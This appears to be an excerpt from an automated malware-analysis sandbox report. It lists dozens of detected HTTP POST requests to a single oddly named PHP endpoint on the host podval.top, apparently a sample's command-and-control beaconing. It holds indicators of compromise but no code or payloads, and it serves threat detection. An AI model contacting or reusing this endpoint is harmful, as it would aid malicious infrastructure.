Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1772Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1756Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1080Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1772Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1748Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1792Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1792Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1056Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1792Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1772Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1748Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1744Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1792Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1792Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1792Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1772Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1792Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1792Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1792Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1792Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1756Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1792Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1792Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1772Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1056Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1772Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1748Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1772Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1792Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 500Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1748Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1080Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1792Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: podval.topContent-Length: 1792Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /LineToPythonJsLowupdateLongpollWindowsFlower.php HTTP/1.1Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0Host: podval.topContent-Length: 1060Expect: 100-continueConnection: Keep-Alive
